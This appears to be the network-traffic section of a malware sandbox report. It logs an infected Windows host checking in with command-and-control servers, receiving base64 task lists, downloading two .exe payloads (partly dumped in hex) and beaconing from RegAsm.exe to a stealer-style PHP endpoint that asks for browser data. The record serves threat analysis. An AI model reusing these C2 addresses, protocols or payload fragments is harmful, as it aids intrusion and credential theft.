Aug 30, 2024 06:17:56.816209078 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:17:57.033361912 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBKJJKEBGHIDGCBKJJD Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 2d 2d 0d 0a Data Ascii: ------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="mode"5------JDBKJJKEBGHIDGCBKJJD--
Aug 30, 2024 06:17:57.755243063 CEST	350	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 62 30 0d 0a 4d 54 41 7a 4f 44 6b 35 4f 48 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 77 63 6d 39 6e 4c 7a 59 32 5a 44 42 6a 5a 44 68 6d 59 6a 5a 6d 4e 32 4a 66 62 47 64 71 5a 6d 51 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 78 4d 44 4d 34 4f 54 6b 35 66 47 68 30 64 48 41 36 4c 79 38 78 4e 44 63 75 4e 44 55 75 4e 44 51 75 4d 54 41 30 4c 33 42 79 62 32 63 76 4e 6a 5a 6b 4d 47 4e 6b 4f 57 45 32 4e 57 49 31 5a 46 39 32 63 58 64 6c 63 6d 64 6d 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: b0MTAzODk5OHxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9wcm9nLzY2ZDBjZDhmYjZmN2JfbGdqZmQuZXhlfDF8a2tra3wxMDM4OTk5fGh0dHA6Ly8xNDcuNDUuNDQuMTA0L3Byb2cvNjZkMGNkOWE2NWI1ZF92cXdlcmdmLmV4ZXwxfGtra2t80
Aug 30, 2024 06:18:00.011818886 CEST	679	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJ Host: 147.45.68.138 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="mode"51------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="task_id"1038998------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="status"1------EGCFHDAKECFIDGDGDBKJ--
Aug 30, 2024 06:18:00.775098085 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:18:01.553307056 CEST	679	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCBGDHIEBFHCBFHDHDH Host: 147.45.68.138 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="mode"51------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="task_id"1038999------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="status"1------DHCBGDHIEBFHCBFHDHDH--
Aug 30, 2024 06:18:02.223767996 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:18:02.411401987 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKF Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="mode"6------DGDBFBFCBFBKECAAKJKF--
Aug 30, 2024 06:18:02.979540110 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49782	147.45.44.104	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:17:58.389297009 CEST	92	OUT	GET /prog/66d0cd8fb6f7b_lgjfd.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:59.027440071 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:58 GMT Content-Type: application/octet-stream Content-Length: 328744 Last-Modified: Thu, 29 Aug 2024 19:35:43 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd8f-50428" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 19 cd d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d2 04 00 00 0a 00 00 00 00 00 00 ae f1 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 fe 11 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 f1 04 00 53 00 00 00 00 00 05 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 de 04 00 28 26 00 00 00 20 05 00 0c 00 00 00 20 f0 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ @`XS.(& H.text `.rsrc.@@.reloc @BHxSac?6UCMf'<soo<CqwNeie4+R1brIUU<N\|cVGH$&~+<38tR]Bz4-oC{{9x0wI7_;!'qU?`/+,PM8}3j$Y=2)W]tZ>g2i-I[wuha3Qy=c2nQJ>=fwE-`/'g$1sW
Aug 30, 2024 06:17:59.027458906 CEST	124	IN	Data Raw: 02 97 d5 cd e2 d9 91 d2 af fd 6c b8 f0 19 18 c2 53 df 7f 3e cf 61 01 af 8e f6 18 67 9b 68 15 a6 7a 4b 96 14 d0 ee 81 e5 94 e2 14 5f 6f 42 33 25 16 63 ca 5a 93 29 56 d7 90 67 67 aa 11 5f b8 fe 30 1f ad 1c 3b 3c 66 1b fb be e9 41 d1 9e 94 cb 0a 25 Data Ascii: lS>aghzK_oB3%cZ)Vgg_0;<fA%RY7x#=\|X+\|(
Aug 30, 2024 06:17:59.027471066 CEST	1236	IN	Data Raw: 4b 32 44 04 cd 9e 9f 2c 3d 55 92 5a b0 7f 48 16 01 82 f8 13 e6 91 11 2a 42 bd 8d d2 d3 9c 14 05 c8 d5 3f 3f fe 13 59 7d 19 ed cd 60 09 94 cf a2 88 a3 b3 b5 34 09 39 c3 47 be 46 50 29 ff c3 d0 42 dc e6 0e 91 da 9a c0 f2 5b dc c1 ff 16 5c 2a 57 f6 Data Ascii: K2D,=UZHB??Y}`49GFP)B[\WKNc-9g+ $_6yp,zcz'j9xzcw}iWTpY=qQ8Q\|!!DC7$'GU3*jrFm"fiIuv+?b^\|x"\|
Aug 30, 2024 06:17:59.027482033 CEST	1236	IN	Data Raw: f0 69 43 b6 0b 38 09 c5 77 be 5b 4c 74 06 f6 1d 77 c3 eb c6 52 8b ed a9 ee d1 9d 5d 35 dd ea 93 41 fd 78 1b bf f0 76 28 07 b2 6e d3 53 82 6c 7e a1 b0 be f3 7a d8 f0 07 96 a0 5d a4 75 3a 01 c6 b6 fc f8 e6 7d 5a f9 71 55 f7 2c bd b7 2d 52 bb 79 40 Data Ascii: iC8w[LtwR]5Axv(nSl~z]u:}ZqU,-Ry@[cjG0qx\A]TH,12K*"Q/22?m([pP>Y]B>1}EG9M}!UuP9cTSTRg&c'gy\,a8G
Aug 30, 2024 06:17:59.027493000 CEST	1236	IN	Data Raw: 82 df 37 8f f6 07 92 9e 31 10 61 91 f0 ff 78 60 53 af 92 0d 3b ba 7e 54 ca c1 87 76 13 cd 5e bc fe fd 97 6f f8 1e e1 65 d3 70 11 d5 49 b1 9a c9 ed 94 ca 3a c0 a1 f4 73 5c 1b 30 ad 68 66 7f e0 d3 4d 0c 23 ca 56 dd 63 c9 62 bd 56 87 f3 f5 2f 7b ba Data Ascii: 71ax`S;~Tv^oepI:s\0hfM#VcbV/{FN91RrX6~kAr8qJJ6zTGz-CA8dUd;/M[i*rnf1D9~b8O9HNu_IP///.^O5M6IH
Aug 30, 2024 06:17:59.027503014 CEST	1236	IN	Data Raw: ee d0 e0 b3 53 8b c8 a8 6a 2d d4 e9 99 4e 20 87 56 73 3f 52 e6 c0 d8 f1 6a 54 81 8b 5d 8d d3 1d 04 c3 c7 e3 7c ff d2 7b e5 bc 6a 58 55 eb 1f c4 4e 79 28 d7 c4 8c a0 76 e3 0e 33 71 0f 03 75 2c e8 ba 5d 7c 74 9f 26 12 59 2d a3 e5 e3 00 58 f7 fa 51 Data Ascii: Sj-N Vs?RjT]\|{jXUNy(v3qu,]\|t&Y-XQqMb#?&M4jqT`g:CFiGLk7Oa]@@'E5Gpf.p]hYE~x'^\KQdb
Aug 30, 2024 06:17:59.027513027 CEST	896	IN	Data Raw: 76 d0 8e 1b 58 a6 d0 06 bd 6e 1a 27 22 29 d7 23 c4 9b 2a 62 0f 60 08 6a d9 a8 09 4f ec aa bc 62 f4 b6 19 73 e3 72 02 df e2 7d 93 f6 37 b1 23 e1 56 a2 b4 16 50 a9 e2 4a f1 50 e0 43 e8 fa 99 19 85 f2 1a 3c 43 71 b0 75 9c ac 10 ad f3 f9 ec c2 d4 02 Data Ascii: vXn'")#b`jObsr}7#VPJPC<Cqu(xV<@+m\|F&@g^$k$Leq\e,%h2MsmmP,$UGjU w9}[\|2!LUE<4'Ii 1"(mQp21vg*
Aug 30, 2024 06:17:59.027524948 CEST	1236	IN	Data Raw: 0d 2d d6 ac 89 11 e2 30 72 f6 69 15 1a ec 59 c1 4d ab eb ec e1 a4 0f 5b ad 03 d5 90 f1 1c 4e 0a a0 b2 ff b9 bd 78 1d 06 7d 5e 06 d8 4d 5b 01 fc e6 cf ab f6 86 2e 04 b2 b6 92 3a 24 f9 a2 09 67 50 1e 5c ab f2 a6 e5 97 6d 0b 26 5e c2 9f ef 86 1e fb Data Ascii: -0riYM[Nx}^M[.:$gP\m&^]sQWSHN>xwy$A-SzY1qoSG/jVeVl(O~y!z8dw-\|=2g$jK~=]",8IkcNmRn6
Aug 30, 2024 06:17:59.027540922 CEST	1116	IN	Data Raw: 00 6b eb 78 48 ed 2f cc ae da bd 7a f5 0d cf d1 38 80 2f 73 48 d1 16 76 8a e2 c3 35 67 98 b9 82 95 6f b4 99 ff af d2 98 37 94 28 73 b9 ef 16 a8 dc 01 7f f1 10 44 bf 99 e0 73 d8 c4 58 4c e2 4d a9 53 90 e0 56 17 c8 dc de d2 b3 bb 6a c9 f9 88 90 05 Data Ascii: kxH/z8/sHv5go7(sDsXLMSVjD(5AUB-X:wyF'Pb^G}%W" mB,&}**:/{lh=$.#M<v-H/ob:b'j%
Aug 30, 2024 06:17:59.027554035 CEST	1236	IN	Data Raw: b7 63 00 4e ab 49 e7 a1 7e e3 1c 78 a4 21 e3 b8 21 b4 e7 09 43 99 9e 57 51 c4 61 61 be 71 e1 1e 1a 9b 2e db 6e f2 6f 4b fa 9b b1 88 b7 11 a2 1a 0b 34 40 56 a7 73 57 14 4a 6b ae 5a 9c 70 46 d2 5c f4 c7 2b 00 71 c7 a8 a9 de 00 db 40 3f a4 a2 48 76 Data Ascii: cNI~x!!CWQaaq.noK4@VsWJkZpF\+q@?Hv'[C0r\N^iZ<m%_{$t\|-:R{T.mgthu\|1~f2^n+Gd:$-Zr$yz$ho3/ *g^^
Aug 30, 2024 06:17:59.032313108 CEST	1236	IN	Data Raw: cf 94 a6 d4 88 06 6d c0 53 ff dd 23 07 72 df fe 53 7d 2a 2f e1 47 e0 2c 88 58 64 60 33 97 42 66 38 33 fc a7 81 b7 39 d4 d6 d4 15 69 5c 9a 39 dd 1c 04 66 45 91 f2 9a 3d b3 bb 1c 22 2c 5f a1 e3 18 99 23 30 2d 81 cd f3 45 96 f9 78 5a 60 40 fb 12 6c Data Ascii: mS#rS}*/G,Xd`3Bf839i\9fE=",_#0-ExZ`@lgGkF,{frS&EM0jNl:x{eK_2'#%Z;1BE`}yVlOQ+Rm$^-z#+h);Q{)[Et:1)Z2\|tCSJBfxyLb@"(2
Aug 30, 2024 06:18:01.005933046 CEST	94	OUT	GET /prog/66d0cd9a65b5d_vqwergf.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:18:01.197331905 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:01 GMT Content-Type: application/octet-stream Content-Length: 196648 Last-Modified: Thu, 29 Aug 2024 19:35:54 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd9a-30028" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ee cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ce 02 00 00 0a 00 00 00 00 00 00 ae ed 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 4e 2c 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ed 02 00 53 00 00 00 00 00 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 da 02 00 28 26 00 00 00 20 03 00 0c 00 00 00 20 ec 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ @N,`XS.(& H.text `.rsrc.@@.reloc @BHxR&(,XUfh&\=E%"=m?*<UHft$U!B#:dE\J19KlXGRA6\|^.o@&5:i XmXj_0"LXEO j%mnEcT%3C))^:Tn7wY.`[AtyNjs\|QT?9':l${&V}9nes[?wqR/_JU8ir_Rhy<<@/'-Uv8F2zU'q5,.+GE?@@!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49790	193.176.190.41	80	8188	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:18:06.351342916 CEST	89	OUT	GET / HTTP/1.1 Host: 193.176.190.41 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:18:06.960151911 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:18:07.023869991 CEST	415	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBFHIJECFIDGDGCGHCG Host: 193.176.190.41 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 34 35 35 44 42 38 42 39 39 37 33 33 37 30 38 35 37 36 34 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 2d 2d 0d 0a Data Ascii: ------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="hwid"C1455DB8B9973370857647------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="build"default------KEBFHIJECFIDGDGCGHCG--
Aug 30, 2024 06:18:07.268326044 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 7a 4a 69 5a 47 49 77 5a 44 6b 35 59 6d 4d 32 4d 32 4d 7a 4f 54 63 79 59 7a 49 79 4e 44 55 77 4d 54 59 30 4e 7a 46 6d 4f 57 4d 7a 4d 54 52 69 4d 57 45 35 59 6a 6b 35 59 7a 4a 6b 59 6d 55 77 5a 57 59 31 59 6a 6c 6d 5a 57 51 35 4e 32 55 35 4d 7a 49 32 5a 6a 45 34 4e 32 4d 34 59 6d 49 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 42 38 4d 48 77 77 66 44 42 38 4d 48 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MzJiZGIwZDk5YmM2M2MzOTcyYzIyNDUwMTY0NzFmOWMzMTRiMWE5Yjk5YzJkYmUwZWY1YjlmZWQ5N2U5MzI2ZjE4N2M4YmIyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDB8MHwwfDB8MHwwfHlibmNiaHlsZXBtZXw=
Aug 30, 2024 06:18:07.310966015 CEST	469	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDGCAEBFIIECAKFHIJ Host: 193.176.190.41 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="message"browsers------GIJDGCAEBFIIECAKFHIJ--
